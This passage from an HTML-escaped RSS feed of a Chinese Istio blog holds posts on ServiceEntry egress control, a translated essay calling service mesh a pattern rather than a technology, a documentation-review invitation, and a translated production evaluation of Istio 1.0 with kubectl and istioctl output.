&amp;lt;
{ [18 bytes data]
* Connection #0 to host httpbin.org left intact
fault filter abort%
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，结果和我们的预测是一致的。&lt;/p&gt;

&lt;h2 id=&#34;to-be-continued&#34;&gt;To be continued&lt;/h2&gt;

&lt;p&gt;上面所述，只是针对 &lt;code&gt;ServiceEntry&lt;/code&gt; 的一些粗浅应用，Istio 还提供了 Egress Gateway 这样的高级组件。可以提供更多管理能力，敬请期待。&lt;/p&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;安装文档&lt;/strong&gt;：&lt;code&gt;https://istio.io/zh/docs/setup/kubernetes/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RBAC&lt;/strong&gt;：&lt;code&gt;https://istio.io/zh/docs/tasks/security/role-based-access-control/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;基于 Mixer Adaptor 的访问控制&lt;/strong&gt;：&lt;code&gt;https://istio.io/zh/docs/tasks/policy-enforcement/denial-and-list/&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;部分源码&#34;&gt;部分源码&lt;/h2&gt;

&lt;h3 id=&#34;sleep-yaml&#34;&gt;sleep.yaml&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Service
metadata:
  name: sleep
  labels:
    app: sleep
spec:
  selector:
    app: sleep
  ports:
    - name: ssh
      port: 80
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: sleep-v1
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: sleep
        version: v1
    spec:
      containers:
      - name: sleep
        image: dustise/sleep:v0.5
        imagePullPolicy: IfNotPresent
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: sleep-v2
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: sleep
        version: v2
    spec:
      containers:
      - name: sleep
        image: dustise/sleep:v0.5
        imagePullPolicy: IfNotPresent
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>服务网格——模式还是技术？</title>
      <link>/post/service-mesh-pattern-not-tech/</link>
      <pubDate>Thu, 16 Aug 2018 10:27:43 +0800</pubDate>
      <guid>/post/service-mesh-pattern-not-tech/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://konghq.com/blog/service-mesh-new-pattern-not-new-technology&#34; target=&#34;_blank&#34;&gt;Service Mesh – A New Pattern, Not A New Technology?&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;原作者：&lt;a href=&#34;https://konghq.com/blog/author/marco/&#34; target=&#34;_blank&#34;&gt;Marco Palladino&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;service-mesh-是什么-从何而来&#34;&gt;Service Mesh 是什么？从何而来？&lt;/h2&gt;

&lt;p&gt;近几个月，你会注意到围绕服务网格以及未来软件架构的业内讨论如火如荼。这些讨论围绕着几个供应商，呈现出一种部落战争的态势。这种党争虽然司空见惯，但是其中一些共同话题还是很有意义的——例如企业中 API 应用的快速转型，以及服务网格对流量拓扑的意义。&lt;/p&gt;

&lt;p&gt;服务 API 最初用于在组织边界提供访问内部系统的接口，供外部开发人员访问；这种情况并未持续很久，很快，服务 API 就变成将内部系统连接在一起的粘合剂。而微服务架构的发展，带来了一个无法回避的后果：数据中心内的内部通信持续增长。服务网格适时出现，提供了一种面向现有技术的部署框架，可能成为应对东西向流量增长问题的一个解决方案。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/diagram-04-1.png&#34; alt=&#34;img&#34; /&gt;&lt;/p&gt;

&lt;p&gt;作为 Kong 的 CTO，我也很热衷于参加这些对话，我注意到对服务网格的认知有一个普遍误解。为了消除误会，升级对话，首先我想要明确提出：服务网格是一种模式，而非技术。&lt;/p&gt;

&lt;h2 id=&#34;服务网格是一种模式-而非技术&#34;&gt;服务网格是一种模式，而非技术&lt;/h2&gt;

&lt;p&gt;微服务是模式而非技术，服务网格也是一样。这两种概念的区别貌似很难理解。如果我们从 OOP 的角度来看，模式描述的是接口，不是实现。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/diagram-01.png&#34; alt=&#34;img2&#34; /&gt;&lt;/p&gt;

&lt;p&gt;服务网格这样的部署模式能够利用 Sidecar 增强东西向的流量管理，能给微服务提供强大支援。既然已经对单体应用进行了解耦，并用微服务构建了新的应用，我们的流量模型中，内部流量就会与日俱增。数据中心内，东西向的流量增长原因是我们将单体应用中的函数调用换成了网络调用，这意味着我们的微服务必须融入网络，互相消费。然而地球人都知道——网络靠不住。&lt;/p&gt;

&lt;p&gt;面对日益增长的东西向流量，服务网格通过新的部署架构进行应对。传统的南北向通信中，100 毫秒的延迟虽不够理想，但也在可接受范围之内；但在东西向通信中，这就无法忍受了。这是因为服务间的相互调用会使延迟倍增，跨越多个服务的 API 调用和返回，会造成延迟时间的大幅增加。&lt;/p&gt;

&lt;p&gt;为了降低延迟，引入了独立运行的 Sidecar，这种代理服务器会伴随微服务进程一起运行，用来移除多余的网络跳跃。Sidecar 在请求的执行路径上担任数据平面的角色，并且避免了单点失败，从而提供了更好的应用弹性。然而，每个微服务进程都配合一个代理进程，势必会造成资源的损耗，但同时他也降低了资源耗尽的肯能性。&lt;/p&gt;

&lt;p&gt;经过细致观察不难发现，服务网格中的很多功能，都已经在多年前的 API 管理产品中实现了。比如可观测、网络故障处理和健康检查等功能都是 API 管理的基本配置。这些特性并不新鲜，但服务网格作为一种新的模式，用新思路来完成了这些功能。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/diagram-02.png&#34; alt=&#34;img&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;传统-api-管理方案瞠目其后&#34;&gt;传统 API 管理方案瞠目其后&lt;/h2&gt;

&lt;p&gt;微服务和容器大潮迫使人们更多的关注轻量级进程，服务网格提供的轻量级进程，同时承担了代理和反向代理的角色，伴随微服务进程一同运行。为什么传统的 API 管理方案不采用这种新的部署方案？这是因为他们生于单体时代。这些早于 Docker 和 Kubernetes 面世的 API 管理系统本身就是单体应用，并不适用于新兴的容器生态圈。传统 API 管理方案往往具有重量级的运行时和低下的性能，这些问题在过去的边缘 API 用例中尚可承受，但是对于微服务体系来说，东西向调用量越多，中间环节的延迟就越大。究其根本，传统 API 管理方案的重量大、难度高以及速度慢的缺点是难以满足微服务世界的要求的。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/diagram-05.png&#34; alt=&#34;img&#34; /&gt;&lt;/p&gt;

&lt;p&gt;开发人员了解了这些，传统的 API 管理方案引入了称之为 &amp;ldquo;microgateway&amp;rdquo;（微型网关）的技术，用来处理东西向的流量，并且避免重写现存的臃肿的单体网关方案。问题是这些所谓的微型网关虽然自身变轻了，但还是要依赖传统方案伴行，用于提供策略实施等能力。这不仅是留下陈旧组件的问题，还意味着增加了延迟。如此种种，服务网格就令人耳目一新了——对手太旧了。&lt;/p&gt;

&lt;h2 id=&#34;结语&#34;&gt;结语&lt;/h2&gt;

&lt;p&gt;传统的 API 管理方案在南北向流量管理中耕耘多年，服务网格的功能相对来说并不新鲜。多数网络方面以及观测方面的能力对东西向和南北向的流量都是通用的，服务网格让我们有机会运行轻量快速的 Sidecar 代理来完成这些通用功能，改变的是部署模式，不是底层功能。&lt;/p&gt;

&lt;p&gt;传统 API 管理方案的功能是服务网格功能的超级，某种意义上来说，普及了可靠性、服务发现和观测能力。服务网格是一种部署模式，用轻量级的方式获得同样的功能。业界经常混淆——有时还加重了这种混淆——很多服务网格方面的讨论，都混淆了特定部署模板和底层技术的界限。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>istio.networking.v1alpha3 文档 review 邀请</title>
      <link>/post/traffic-routing-review/</link>
      <pubDate>Thu, 16 Aug 2018 02:09:57 +0800</pubDate>
      <guid>/post/traffic-routing-review/</guid>
      <description>&lt;p&gt;继 &lt;a href=&#34;https://istio.io/zh/docs/reference/commands/istioctl/&#34; target=&#34;_blank&#34;&gt;istioctl 参考文档中文版&lt;/a&gt;之后，&lt;a href=&#34;https://github.com/istio/istio.github.io/pull/2256&#34; target=&#34;_blank&#34;&gt;Istio istio.networking.v1alpha3 中文版 PR&lt;/a&gt; 也已经创建。这篇文档的&lt;a href=&#34;https://istio.io/docs/reference/config/istio.networking.v1alpha3/&#34; target=&#34;_blank&#34;&gt;原文&lt;/a&gt;是经由源码注释生成的，受格式所限，行文较为杂乱和冗长，所以在翻译过程中也做了不少修改。&lt;/p&gt;

&lt;p&gt;参考文档，尤其是这一篇所涉及的内容可以说是 Istio 的核心功能，为提高准确程度，特地拖延到其他部分文档均已完成之后才陆续开始翻译。即便如此，受个人能力有限，入手之后，依旧是深感脑枯词穷，轻易不敢 Merge。&lt;/p&gt;

&lt;p&gt;因此这里邀请 Service Mesh 爱好者、Istio 社区关注者一同参与进来，参与方式：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;可以直接在 &lt;a href=&#34;https://github.com/istio/istio.github.io/pull/2256&#34; target=&#34;_blank&#34;&gt;PR&lt;/a&gt; 上提出修改意见（建议）。&lt;/li&gt;
&lt;li&gt;在 ServiceMesher 网站上的 Istio 官方文档翻译工作组浏览&lt;a href=&#34;https://github.com/servicemesher/istio-official-translation/issues/298&#34; target=&#34;_blank&#34;&gt;相关 Issue&lt;/a&gt; 并留下宝贵建议。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;下面是几个相关链接：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;https://istio.io/docs/reference/config/istio.networking.v1alpha3/&#34; target=&#34;_blank&#34;&gt;英文版原文&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://deploy-preview-2256--preliminary-istio.netlify.com/zh/docs/reference/config/istio.networking.v1alpha3/&#34; target=&#34;_blank&#34;&gt;中文版预览&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/istio/istio.github.io/blob/fb97c078dd0300274a59dada80abbc2b0ad686ad/content_zh/docs/reference/config/istio.networking.v1alpha3/index.md&#34; target=&#34;_blank&#34;&gt;中文版代码&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Istio 1.0 的实战测试</title>
      <link>/post/battle-testing-istio-1.0/</link>
      <pubDate>Tue, 14 Aug 2018 11:42:06 +0800</pubDate>
      <guid>/post/battle-testing-istio-1.0/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://medium.com/vescloud/battle-testing-istio-1-0-a0248ce68403&#34; target=&#34;_blank&#34;&gt;Battle Testing Istio 1.0&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;原作者：&lt;a href=&#34;https://medium.com/@pupapaik&#34; target=&#34;_blank&#34;&gt;Jakub Pavlík&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;最近 Istio 成功发布了 1.0，并宣称生产就绪。我们的 SRE 团队对 Istio 1.0 生产状态进行了全面分析，最后提出了我们的建议。&lt;/p&gt;

&lt;p&gt;本文结构：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;安装和环境。&lt;/li&gt;
&lt;li&gt;要点和建议。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;安装和环境&#34;&gt;安装和环境&lt;/h2&gt;

&lt;p&gt;Istio 构建在&lt;a href=&#34;https://medium.com/microservices-in-practice/microservices-layered-architecture-88a7fc38d3f1&#34; target=&#34;_blank&#34;&gt;微服务架构&lt;/a&gt;基础之上，其中的应用网络由多个服务构成：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Sidecar&lt;/strong&gt;：接收来自 Pilot 的配置信息，以代理服务器的身份处理入站和出站流量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pilot&lt;/strong&gt;：管理代理服务器，并和 Kubernetes 进行交互。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mixer&lt;/strong&gt;：接收来自代理服务器的指标，实施访问控制、配额管理等功能。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Citadel&lt;/strong&gt;：为服务和用户提供认证和鉴权、管理凭据和 RBAC。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;images/istio-arch.png&#34; alt=&#34;Istio Architecture&#34; /&gt;&lt;/p&gt;

&lt;p&gt;更多细节可移步浏览&lt;a href=&#34;https://istio.io/docs/zh/concepts/what-is-istio/overview/#architecture&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;安装过程比较方便。支持不同的环境（例如 Docker），但是 Kubernetes 是最适合我们需要的。&lt;/p&gt;

&lt;p&gt;安装方法支持列表：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;预渲染的 YAML&lt;/strong&gt;：这种方式适合预制环境（演示、评估以及 PoC 等）；这是因为其中的参数调整非常困难。YAML 文件可以进行模板化处理，但是其中有超过 3700 行代码，需要较大投入才能完成定制。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Helm&lt;/strong&gt;：这种方式是参数化的，比较适合真实世界中的部署活动。正式的环境部署应该需要这样的定制能力。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;本文只是一次评估，因此使用了第一种方式。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;用静态 YAML 部署的 Istio 1.0&lt;/strong&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;NAME                              DESIRED   CURRENT   UP-TO-DATE   AVAILABLE   AGE
deploy/grafana                    1         1         1            1           20h
deploy/istio-citadel              1         1         1            1           20h
deploy/istio-egressgateway        1         1         1            1           20h
deploy/istio-galley               1         1         1            1           20h
deploy/istio-ingressgateway       1         1         1            1           20h
deploy/istio-pilot                1         1         1            1           20h
deploy/istio-policy               1         1         1            1           20h
deploy/istio-sidecar-injector     1         1         1            1           20h
deploy/istio-statsd-prom-bridge   1         1         1            1           20h
deploy/istio-telemetry            1         1         1            1           20h
deploy/istio-tracing              1         1         1            1           20h
deploy/prometheus                 1         1         1            1           20h
deploy/servicegraph               1         1         1            1           20h


NAME                       REFERENCE                         TARGETS           MINPODS   MAXPODS   REPLICAS   AGE
hpa/istio-egressgateway    Deployment/istio-egressgateway    &amp;lt;unknown&amp;gt; / 55%   1         5         1          20h
hpa/istio-ingressgateway   Deployment/istio-ingressgateway   &amp;lt;unknown&amp;gt; / 55%   1         5         1          20h

NAME                                DESIRED   SUCCESSFUL   AGE
jobs/istio-cleanup-secrets          1         1            20h
jobs/istio-grafana-post-install     1         1            20h
jobs/istio-mixer-post-install-1.0   1         1            20h

NAME                                           READY     STATUS    RESTARTS   AGE
po/grafana-67b5df5b97-d685n                    1/1       Running   0          20h
po/istio-citadel-65df4cf668-xspff              1/1       Running   0          20h
po/istio-egressgateway-6678667b46-pmfmx        1/1       Running   0          20h
po/istio-galley-7c64c8c948-8npwp               1/1       Running   27         20h
po/istio-ingressgateway-6dfd7fc84-w6snd        1/1       Running   0          3h
po/istio-pilot-6cc9f4f7c6-552h4                2/2       Running   0          20h
po/istio-policy-5476f99674-sqn7h               2/2       Running   0          20h
po/istio-sidecar-injector-5f47598cd7-8qlq6     1/1       Running   0          20h
po/istio-statsd-prom-bridge-5d44ddb7cf-lrc8t   1/1       Running   0          20h
po/istio-telemetry-654bfd8487-bmdwv            2/2       Running   0          20h
po/istio-tracing-5fbd79cc-pnq5n                1/1       Running   0          20h
po/prometheus-7b6f8b9996-t4t92                 1/1       Running   0          20h
po/servicegraph-7d7ccc9b7f-b86c4               1/1       Running   0          20h

NAME                           TYPE           CLUSTER-IP     EXTERNAL-IP     PORT(S)                                                                     AGE
svc/grafana                    ClusterIP      10.0.18.159    &amp;lt;none&amp;gt;          3000/TCP                                                                    20h
svc/istio-citadel              ClusterIP      10.0.228.1     &amp;lt;none&amp;gt;          8060/TCP,9093/TCP                                                           20h
svc/istio-egressgateway        ClusterIP      10.0.217.249   &amp;lt;none&amp;gt;          80/TCP,443/TCP                                                              20h
svc/istio-galley               ClusterIP      10.0.131.153   &amp;lt;none&amp;gt;          443/TCP,9093/TCP                                                            20h
svc/istio-ingressgateway       LoadBalancer   10.0.72.147    13.66.222.246   80:31380/TCP,443:31390/TCP,31400:31400/TCP,15011:30223/TCP,8060:31415/TCP   20h
svc/istio-pilot                ClusterIP      10.0.67.90     &amp;lt;none&amp;gt;          15010/TCP,15011/TCP,8080/TCP,9093/TCP                                       20h
svc/istio-policy               ClusterIP      10.0.135.115   &amp;lt;none&amp;gt;          9091/TCP,15004/TCP,9093/TCP                                                 20h
svc/istio-sidecar-injector     ClusterIP      10.0.158.161   &amp;lt;none&amp;gt;          443/TCP                                                                     20h
svc/istio-statsd-prom-bridge   ClusterIP      10.0.17.41     &amp;lt;none&amp;gt;          9102/TCP,9125/UDP                                                           20h
svc/istio-telemetry            ClusterIP      10.0.139.187   &amp;lt;none&amp;gt;          9091/TCP,15004/TCP,9093/TCP,42422/TCP                                       20h
svc/jaeger-agent               ClusterIP      None           &amp;lt;none&amp;gt;          5775/UDP,6831/UDP,6832/UDP                                                  20h
svc/jaeger-collector           ClusterIP      10.0.172.142   &amp;lt;none&amp;gt;          14267/TCP,14268/TCP                                                         20h
svc/jaeger-query               ClusterIP      10.0.51.47     &amp;lt;none&amp;gt;          16686/TCP                                                                   20h
svc/prometheus                 ClusterIP      10.0.156.162   &amp;lt;none&amp;gt;          9090/TCP                                                                    20h
svc/servicegraph               ClusterIP      10.0.163.81    &amp;lt;none&amp;gt;          8088/TCP                                                                    20h
svc/tracing                    ClusterIP      10.0.111.218   &amp;lt;none&amp;gt;          80/TCP                                                                      20h
svc/zipkin ClusterIP 10.0.89.198 &amp;lt;none&amp;gt; 9411/TCP 20h
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;要点和建议&#34;&gt;要点和建议&lt;/h2&gt;

&lt;h3 id=&#34;操作复杂度&#34;&gt;操作复杂度&lt;/h3&gt;

&lt;p&gt;Istio 的功能集随着每次发布逐步增长，运维需求也自然是水涨船高。要运维 Istio，不仅要有对 Istio 组件和配置的基本理解，还需要对 Kubernetes 有深入的认识。Istio 1.0 中包含了 51 个 CRD，比 0.8 版本又多出了 8 个。&lt;/p&gt;

&lt;p&gt;正如 &lt;a href=&#34;https://twitter.com/sebgoa&#34; target=&#34;_blank&#34;&gt;Sebastein Goasguen&lt;/a&gt; 在 &lt;a href=&#34;https://medium.com/vescloud/battle-testing-istio-1-0-a0248ce68403&#34; target=&#34;_blank&#34;&gt;Twitter&lt;/a&gt; 中说的：如果你觉得 Kubernetes 很难，来看看（理解和维护）Istio 和他的 43 个 API 对象吧。&lt;/p&gt;

&lt;p&gt;运维的复杂性，在未来可以用 Galley 对服务和客户端的配置管理来进行简化。Galley 是 1.0 中新引入的组件，在 Istio 中，承担配置的导入、处理和分发任务。这一组件的主要目标是应对现有的配置方面的挑战，例如检测、组件之间的复用、配置错误和验证等问题。这样就可以提供更好的运维体验，同时降低对 Istio 各组件深入理解的需求。Galley 负责把其它 Istio 组件和从底层平台获取用户配置的细节中隔离开来。它其中包含了 Kubernetes 的 CRD 监听器，用来收集配置；还有一个网格配置协议（Mesh Config Protocol-MCP）服务器用于配置分发；以及一个用于验证的 Webhook，使用 &lt;a href=&#34;https://github.com/istio/istio/tree/master/galley&#34; target=&#34;_blank&#34;&gt;Kubernetes API Server&lt;/a&gt; 对配置进行前置检查。&lt;/p&gt;

&lt;p&gt;Galley 在 Istio 1.0 中可以禁用，并且在 AWS EKS 中必须和 Sidecar 的自动注入一起禁用，这是因为 EKS 不支持启用准入控制器，例如这里要用到的修改和验证 Webhook。加入 &lt;a href=&#34;https://groups.google.com/forum/#!forum/istio-dev&#34; target=&#34;_blank&#34;&gt;Google Group&lt;/a&gt; 阅读 &lt;a href=&#34;https://docs.google.com/document/d/1477BlHU0leWA4IKFRwnbNl5MZngf5m2K-JsBIo6dxJE/edit#&#34; target=&#34;_blank&#34;&gt;Galley 概要设计文档&lt;/a&gt; 可以获得更多信息。&lt;/p&gt;

&lt;h3 id=&#34;管理-ingress-gateway&#34;&gt;管理 Ingress Gateway&lt;/h3&gt;

&lt;p&gt;在 &lt;a href=&#34;https://istio.io/docs/reference/config/istio.networking.v1alpha3/&#34; target=&#34;_blank&#34;&gt;v1alpha3&lt;/a&gt; 中， Istio Gateway 和 VirtualService 一起，替换了 Kubernetes 的原生 Ingress。相对于 Kubernetes 的原生 Ingress，这一组合提供了更多高级配置。然而这些资源只是定义，真正的流量管理是由 Ingress Gateway 完成的。&lt;/p&gt;

&lt;p&gt;Ingress Gateway 是一个 Istio proxy（Envoy），它会根据 Gateway 和 VirtualService 定义响应网格外发来的入站流量。缺省的安装只包含一个 &lt;code&gt;ingressgateway&lt;/code&gt; pod 并且只使用 LoadBalancer 服务申请了一个公共 IP。要注意下面的限制：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;多个服务无法同时监听同一个外部端口，例如网格外只能开放一个 3306 端口。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;VirtualService&lt;/code&gt; 的路径不可重叠。如果有多个独立团队使用 Istio 的话可能会出现问题。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这两个限制都可以通过部署多个 &lt;code&gt;ingressgateway&lt;/code&gt; pod 来监听多个公共 IP 的方式来解决。遗憾的是，对多个 &lt;code&gt;ingressgateway&lt;/code&gt; 实例的管理不太简单，需要自行定义合适的选择器。&lt;/p&gt;

&lt;h3 id=&#34;配置验证和同步&#34;&gt;配置验证和同步&lt;/h3&gt;

&lt;p&gt;可以使用标准的 &lt;code&gt;kubectl&lt;/code&gt; 命令配置 Istio，也可以选择使用原生的 &lt;code&gt;istioctl&lt;/code&gt; 工具。两种方法会得到同样的结果——在 Kubernetes 中创建 CRD。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：只有 &lt;code&gt;istioctl&lt;/code&gt; 会在把定义文件发送给 Kubernetes API Server 之前对 CRD 进行验证。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Kubernetes 中部署的 Istio Webhook 会进行第二次验证，但是他只会对配置的结构进行验证，功能验证目前还没有实现。因为只做语义验证不做功能验证，上面提到的路径叠加问题会很容易遇到。&lt;/p&gt;

&lt;p&gt;Istio 1.0 在 &lt;code&gt;istioctl&lt;/code&gt; 命令中加入很多状态和健康状态方面的改进。&lt;code&gt;istioctl proxy-status&lt;/code&gt; 命令会获取 Pilot 和 Envoy 之间最新发送和接收的 xDS 同步信息，并提供一个状态概览：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;istioctl proxy-status
PROXY                                                 CDS        LDS        EDS               RDS          PILOT                            VERSION
details-v1-7bcdcc4fd6-9p7sr.default                   SYNCED     SYNCED     SYNCED (100%)     SYNCED       istio-pilot-6cc9f4f7c6-552h4     1.0.0
istio-egressgateway-6678667b46-pmfmx.istio-system     SYNCED     SYNCED     SYNCED (100%)     NOT SENT     istio-pilot-6cc9f4f7c6-552h4     1.0.0
istio-ingressgateway-6dfd7fc84-w6snd.istio-system     SYNCED     SYNCED     SYNCED (100%)     SYNCED       istio-pilot-6cc9f4f7c6-552h4     1.0.0
kad-5f89bf94fc-b48z2.kad                              SYNCED     SYNCED     SYNCED (100%)     SYNCED       istio-pilot-6cc9f4f7c6-552h4     1.0.0
productpage-v1-8584c875d8-9mlbr.default               SYNCED     SYNCED     SYNCED (100%)     SYNCED       istio-pilot-6cc9f4f7c6-552h4     1.0.0
ratings-v1-54cf9dc8f8-hthzx.default                   SYNCED     SYNCED     SYNCED (100%)     SYNCED       istio-pilot-6cc9f4f7c6-552h4     1.0.0
reviews-v1-59cbdd7959-2ng8m.default                   SYNCED     SYNCED     SYNCED (100%)     SYNCED       istio-pilot-6cc9f4f7c6-552h4     1.0.0
reviews-v2-dccb4cfc9-rp6rx.default                    SYNCED     SYNCED     SYNCED (100%)     SYNCED       istio-pilot-6cc9f4f7c6-552h4     1.0.0
reviews-v3-5465dc97bc-k9rdb.default SYNCED SYNCED SYNCED (100%) SYNCED istio-pilot-6cc9f4f7c6-552h4 1.0.0
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;statefulset-和-headless-服务的支持&#34;&gt;StatefulSet 和 Headless 服务的支持&lt;/h3&gt;

&lt;p&gt;Headless 服务是没有 IP 的，服务中的各个实例通常会用点对点的形式进行访问，因此在服务网格中，这种服务是个难于应对的问题。要给这种服务配置 mTLS 认证，流量的检测和处理都可能遇到问题。&lt;/p&gt;

&lt;p&gt;Kubernetes StatefulSet 经常和 Headless 服务一同使用。在服务实例之间进行通信时，我们也发现了问题。我们用 StatefulSet 运行 Cassandra 集群，第二个实例出现了如下问题：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;INFO  13:44:05 Handshaking version with cassandra-0.cassandra.sre.svc.cluster.local/10.244.4.33

INFO  13:44:05 Cannot handshake version with cassandra-0.cassandra.sre.svc.cluster.local/10.244.4.33
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;要解决这个问题，要把 Cassandra 移出网格，或者修改 mTLS 认证策略。这一问题在目前正在跟踪之中。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://github.com/istio/istio/issues/5005&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://github.com/istio/istio/pull/6885&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://github.com/istio/istio/issues/1277&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;pod-检测&#34;&gt;Pod 检测&lt;/h3&gt;

&lt;p&gt;Kubernetes 会进行 Pod 检测，查看 Pod 的存活和就绪状态。检测方法有多种实现方式，TCP 和 HTTP 是最常见的。当 Kubelet 能够通过 HTTP 请求或者 TCP 连接访问到 Pod，就会判定 Pod 检测成功。当服务间的 mTLS 启用时，Kubelet 却并非网格的一部分，因此就无法访问 Pod 了。&lt;/p&gt;

&lt;p&gt;要解决这一问题：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;推荐方案是为服务检测准备单独的端口，并在这一端口上禁用认证功能。&lt;/li&gt;
&lt;li&gt;禁止 Pod 检测也是一个可选方案。&lt;/li&gt;
&lt;li&gt;在 Pod 内部使用 exec 检测，代替 Kubelet 完成这一任务。然而我们不推荐这种方式，这种检测不够全面，可能会有隐藏问题存在，例如 CNI。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;多集群鸿沟&#34;&gt;多集群鸿沟&lt;/h3&gt;

&lt;p&gt;Istio 从 0.8 开始支持单控制平面下的多集群部署。&lt;a href=&#34;https://medium.com/ibm-cloud/multi-cluster-support-for-service-mesh-with-ibm-cloud-private-d7d791f9b778&#34; target=&#34;_blank&#34;&gt;博客&lt;/a&gt;中提供了 0.8 中运行多集群 Istio 的详细介绍。Google 还在上一次 KubeCon 上做了一次演示（&lt;a href=&#34;https://youtu.be/bLJL53UIcqI?t=14m9s&#34; target=&#34;_blank&#34;&gt;视频&lt;/a&gt;）。1.0 版本中加入了为数众多的安全和性能方面的改进，其中包括远程集群的 Sidecar 自动注入能力。这方面可以参考&lt;a href=&#34;https://docs.google.com/document/d/1cOxPnTpnVWKR0m7a6PYJ-0NSTZ-e2J1IULnfojz7OZ4/edit#&#34; target=&#34;_blank&#34;&gt;详细设计文档&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;不幸的是这一功能在我们的生产环境上也是有问题的，现列举如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;集群间的 Pod 网络需要打通——这超出了 Istio 的能力范围，应该由 VPN 来完成这一任务。目前有提案使用 &lt;a href=&#34;https://docs.google.com/document/d/1QLMeycCoj6fbBKoOLiaDCc09Fbi89s5VoBW-eAxKwVs/edit#heading=h.qex63c29z2to&#34; target=&#34;_blank&#34;&gt;Zero VPN&lt;/a&gt; 来解决这一问题。&lt;/li&gt;
&lt;li&gt;远端集群需要能够解析 Pilot、Policy、Telemetry 以及 StatsD 端点——目前远程集群会使用控制面集群的 Pod IP，而 Pod IP 是可能因为 Pod 重启或者 Node 崩溃而发生变化的，这就需要重新部署 Istio。目前已经有 &lt;a href=&#34;https://github.com/istio/istio/pull/6210&#34; target=&#34;_blank&#34;&gt;PR&lt;/a&gt; 在尝试解决这个问题：部署额外的 Istio Ingress Gateway 来负责对 Istio Pilot、Policy 以及 Telemetry 端点的访问。&lt;/li&gt;
&lt;li&gt;Istio 的配置和状态是保存在“主”集群上的，一旦主集群发生了故障，就会出现跨集群的瓶颈。&lt;/li&gt;
&lt;li&gt;Github 上还跟踪了其它 &lt;a href=&#34;https://github.com/istio/istio/issues/4822&#34; target=&#34;_blank&#34;&gt;Issue&lt;/a&gt;。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;Istio 是第一个&lt;a href=&#34;https://preliminary.istio.io/about/notes/1.0/&#34; target=&#34;_blank&#34;&gt;生产就绪的版本&lt;/a&gt;，多数核心组件都已稳定，我们对其稳定性基本满意，运维方面还存在一些问题，在生产环境中的应用很有挑战性。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;因为新的操作可能会对既有工作负载造成影响，动态环境中的运维活动颇具危险性。&lt;/li&gt;
&lt;li&gt;必须监控的一些内容：配置变更，Sidecar 日志，Mixer 中的 Kubernetes 适配器。&lt;/li&gt;
